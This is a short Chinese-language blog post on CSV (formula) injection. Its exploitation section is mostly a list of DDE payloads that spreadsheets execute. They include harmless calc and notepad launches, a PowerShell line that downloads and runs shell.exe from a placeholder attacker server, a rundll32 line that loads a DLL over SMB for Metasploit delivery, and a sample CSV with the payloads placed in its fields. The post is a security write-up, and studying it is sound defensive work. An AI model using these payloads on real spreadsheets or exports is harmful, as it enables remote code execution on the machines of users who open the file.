CSV Injection(CSV注入)

简介

许多web应用程序允许用户将发票模板或用户设置等内容下载到CSV文件中。许多用户选择在Excel、Libre Office或open Office中打开CSV文件。当web应用程序无法正确验证CSV文件的内容时,可能会导致执行一个或多个单元格的内容。

漏洞利用

最基本的利用方式是动态数据交换

# pop a calc
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0

# pop a notepad
=cmd|' /C notepad'!'A1'

# powershell download and execute
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

# msf smb delivery with rundll32
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

上述有效载荷的技术细节:

cmd 是每当客户端试图访问服务器时,服务器可以响应的名称

/C calc 是执行的文件名,(calc.exe即计算器)

!A0 是项名称,指定当客户端请求数据时服务器可以响应的数据单元

任何公式符号都可以用:

=
+
–
@

示例:

UserId	BillToDate	ProjectName	Description	DurationMinutes
1	2017/7/25	Test Project	Flipped the jibbet	60
2	2017/7/25	Important Client	"Bop, dop, and giglip"	240
2	2017/7/25	Important Client	"=2+5"	240
2	2017/7/25	Important Client	"=2+5+cmd|' /C calc'!A0"	240
2	2017/7/25	Important Client	"=cmd|' /C notepad'!'A1'"	240
2	2017/7/25	Important Client	"=cmd|'/C powershell IEX(Write-Host "It's run!";)'!A0"	240


流量特征如下:

参考链接:
http://georgemauer.net/2017/10/07/csv-injection.html

posted @ 2020-12-19 11:44  micr067  阅读(446)  评论(0编辑  收藏  举报